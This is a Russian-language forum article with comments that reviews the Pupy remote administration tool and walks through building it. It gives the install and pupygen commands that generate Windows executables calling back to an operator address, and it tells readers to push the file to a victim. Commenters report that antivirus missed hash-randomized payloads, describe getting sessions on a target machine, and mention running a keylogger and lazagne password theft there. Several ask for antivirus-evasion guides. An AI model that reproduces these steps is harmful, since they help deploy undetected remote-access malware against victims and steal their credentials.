РАЗБОР

PUPY Remote Administration Tool (RAT)

<~DarkNode~>
<~DarkNode~> ~^M1st3r_Bert0ni^~ · 692 сообщений
Подписаться
18,5 тыс.
Режим чтения
Сегодня посмотрим ,на мой взгляд , довольно таки не плохой мультиплатформенный RAT на питоне c очень большим функционалом.

Pupy может использовать различные протоколы шифрования для комуникации с жертвой (SSL,HTTP,RSA,obfs3,scramblesuit), мигрировать в процессы (reflective injection), подгружать удаленные python скрипты, python пакеты и python C-extensions из оперативной памяти.
Pupy может создавать payloads в различных форматах ,таких как PE executables, reflective DLLs, python files, powershell, apk, ...

После тестирования данного продукта мне он напомнил что то общее между meterpreter и модулями из PowerShell Empire Framework ,как интерфейсом так и модулями которые разработчики вложили в сей продукт.

Я считаю что его можно отлично использовать для:
  • security research
  • обучения
  • пентестинга
  • администрирования
И так давайте все же познакомимся с ним по ближе.
Создаем PAYLOAD
Ну для начала скачаем все же и установим зависимости(я делаk на Kali Linux):
Код:
git clone https://github.com/n1nj4sec/pupy.git pupy
cd pupy
git submodule update --init --depth 1 pupy/payload_templates
git submodule init
git submodule update
pip install -r requirements.txt

Дальше идем в папку pupy и там нас пока что интересуют только два файла:
pupygen.py -сам билдер(генератор) так сказать и pupysh.py сама серверная часть,консоль управления.
6.jpg

Я попытаюсь кратко описать функционал,иначе статья будет очень длинная. Одна из фишек этой тулзы это транспорты и скриплеты которые позволяют выбирать тип шифрования трафика ,а скриплеты позволяют запустить какой то модуль сразу же при старте вредоноса(например кейлоггер) Посмотреть список скриплетов и транспортов можно командой
Код:
 python pupygen.py -l
5.jpg

Cгенерировать бинарник под виндоус систему можно следующей командой:
Код:
./pupygen.py -f exe_x86 -o ~/DarkNode.exe connect --host 192.168.137.137:443
1.png

После этого парим жертве(правда он скорее всего спалится антивирусом,но в следующих статья я научу его вас обходить,это ознакомительная часть)

Дальше все очень похоже на метерпретер сессию метаслоита:
Открываем сессию командой
Код:
session -i 1
пользуемся командамы
help
list_modules
run module_name -h

8.jpg

9.jpg

10.png

11.jpg

Спасибо за внимания.C Вами был DarkNode)
Полезно · 20

Комментарии

24
ого. классная статья. Понятно все расписанно. Жду тему об обходе антивирей
 
  • Нравится
Реакции: Air7771 и Сергей Попов
2
Зачет! Понравился результат под системой )))
 
Зачет!
 
Отлично! Побольше бы таких подробных описаний )
 
Мощная вещь. С нетерпетием жду обход АВ.
 
  • Нравится
Реакции: i_bog_i
1
Инструмент периодически обновляется и является актуальным на сегодняшний день.

Пример компрометации для малоопытных пользователей:
В качастве атакующей систем kali linux 2017.1 с адресом 192.168.43.162
В качасве атакуемой системы win7 x64 c АВ NOD32.



Генерируем нагрузку:
Код:
./pupygen.py -f client -O windows -A x64 -o test_for_codeby.exe --randomize-hash connect --host 192.168.43.162:443
Снимок экрана от 2017-06-13 11-24-36.png


Получаем файл (test_for_codeby.exe) с заданными параметрами:
Снимок экрана от 2017-06-13 11-25-14.png


он находится в папке с pupy:
Снимок экрана от 2017-06-13 11-03-57.png


Доставляем файл на целевую систему, после чего из папку с pupy запускаем клиентскую часть:
Код:
./pupysh.py
Снимок экрана от 2017-06-13 11-12-00.png



Проверим файл NOD'ом c обновленными от 13.05.2017г. сигнатурами:
Снимок экрана от 2017-06-13 11-18-10.png

Как видим, всё ОК.


После запуска файла на целевой системе получаем сессию:
Снимок экрана от 2017-06-13 11-26-30.png


Список команд:
Снимок экрана от 2017-06-13 11-27-56.png



Наш процесс ID и разыв сессии:
Снимок экрана от 2017-06-13 11-29-52.png



Спасибо ~~DarkNode~~ за обзор!!!
[doublepost=1497343964,1497343770][/doublepost]П.С. Мой пост к тому, что благодаря шифрованию и SSL ни брандмауэр ни АВ наш файл не заблокировали.
Минусом лично для меня является размер файла
Снимок экрана от 2017-06-13 11-52-15.png

[doublepost=1497347490][/doublepost]Еще добавлю.
В отличие от meterpreter, при разрыве сессии отсутствует необходимость повторной эксплуатации цели (в случае с pupy это повторный запуск вредоносного файла на целевой машине). Т.е. если процесс не был завершен, то достаточно повторно запустить листенер.
 
  • Нравится
Реакции: <~DarkNode~>, Dmitry88, Vertigo и ещё 3
6
Avast детектировал файл test_for_codeby.exe как вирус!
 
  • Нравится
Реакции: <~DarkNode~>, Vertigo и id2746
3
Только что сгенерировал с отличными от первого файла параметрами, NOD молчит (тест в virtualbox)
Снимок экрана от 2017-06-13 13-53-40.png


Вчера тестировал на реальной машине - тоже тишина o_O
На VT не хочу загонять.
 
  • Нравится
Реакции: Tihon49, <~DarkNode~>, Vertigo и ещё 1 человек
4
С отключенным антивирем прекрасно работает
 
  • Нравится
Реакции: Tihon49 и id2746
2
сам пользуюсь этой утилитой( как пост эксплуатацией) ..впечатления хорошее, но палится некоторыми антивирусами.
 
  • Нравится
Реакции: <~DarkNode~>, Vertigo и id2746
3
на днях сгенерированный файл был спален на целевой системе стандартным виндовым АВ.
 
  • Нравится
Реакции: <~DarkNode~>
1
  • Нравится
Реакции: <~DarkNode~>, Underwood, Сергей Попов и ещё 1 человек
4
Не получается правильно создать нагрузку под андроид, может кто помочь ?
 
Статья как всегда на уровне! Ждем стать про обход АВ.
ПС: Мелкое замечание. Пожалуйста не используйте светлые шрифты. Светло-зеленый и светло-серый на сером выглядят вообще не очень. Тяжело читать.
 
  • Нравится
Реакции: <~DarkNode~>
1
Друзья, все отлично работало пару часов назад. Ничего не удалял, не менял, сейчас запускаю и команда run creds/lazagne не достает пароли. Остальные команды работаю, вот пробовал кейлогер, все работает.
Код:
>> run creds/lazagne
[-] 'ascii' codec can't decode byte 0xd0 in position 10: ordinal not in range(128)
Traceback (most recent call last):
  File "/root/pupy криптер файлов и тд/pupy/pupylib/PupyJob.py", line 129, in module_worker
    module.run(args)
  File "/root/pupy криптер файлов и тд/pupy/modules/lazagne.py", line 65, in run
    client=self.client.short_name(), config=self.config
  File "/root/pupy криптер файлов и тд/pupy/pupylib/utils/credentials.py", line 15, in __init__
    '%c': client or ''
  File "/root/pupy криптер файлов и тд/pupy/pupylib/PupyConfig.py", line 165, in get_folder
    return self.get_path(folder, substitutions, create, True)
  File "/root/pupy криптер файлов и тд/pupy/pupylib/PupyConfig.py", line 144, in get_path
    retfilepath = retfilepath.replace(key, str(value))
UnicodeDecodeError: 'ascii' codec can't decode byte 0xd0 in position 10: ordinal not in range(128)
Что это может быть ?
 
Последнее редактирование модератором:
Опять ошибки при установке. Как же они за..Ладно.
При установке m2crypto возникала ошибка, поэтому пришлось:
  1. Убрать строку m2crypto из requirements.txt
  2. sudo apt-get install python-m2crypto
Также не мог установить кучу того, что требовалось, поэтому sudo.
Ещё не мог установить из-за того, что нужен python-dev. Решилось так:
  1. sudo aptitude install python-dev
  2. n [enter]
  3. Y [enter]
  4. sudo aptitude upgrade
Надеюсь помог тем, у кого та же проблема.
[Добавка от 13.12.2017: 16 - 03 МСК]
"Template not found (/home/server/Загрузки/Прочее/pupy/pupy/payload_templates/pupyx86.exe)"
Решение:
  1. wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz
  2. tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates
[doublepost=1513178216,1513169557][/doublepost]Ещё проблема с установкой PyAutoGUI.
Решение #1:
  1. pip install python-xlib
  2. sudo apt-get install scrot
  3. sudo apt-get install python-tk
  4. См. установку python-dev комментарием выше
  5. pip install pyautogui
Решение #2:
  1. Ставьте PyAutoGUI без SSH (т.е. не используя SSH)
Причина неизвестна, но так нужно сделать.
 
  • Нравится
Реакции: LionMask, Tihon49, <~DarkNode~> и ещё 2
5
Год прошел, появилась статья как скрывать РАТ от АВ?
 
  • Нравится
Реакции: Tihon49 и moon13
2
  • Нравится
Реакции: Tihon49 и <~DarkNode~>
2
привет всем. ребят, ну вот ни как не получается установить Pupy... или же запускается с ошибками....
python pupygen.py -l
Traceback (most recent call last):
File "pupygen.py", line 27, in <module>
import pylzma
ImportError: No module named pylzma
 

Ещё по теме

Ответы
6
Просмотры
11 тыс.
Ответы
23
Просмотры
20 тыс.